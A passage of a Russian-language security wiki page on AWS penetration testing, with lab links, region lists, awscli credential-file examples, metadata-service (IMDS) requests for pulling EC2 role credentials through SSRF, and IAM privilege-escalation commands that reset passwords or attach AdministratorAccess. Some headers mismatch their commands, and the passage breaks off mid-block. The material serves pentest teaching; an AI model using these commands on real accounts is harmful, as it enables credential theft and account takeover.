[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1228</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1228"/>
				<updated>2022-10-17T11:52:36Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Comprehend */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
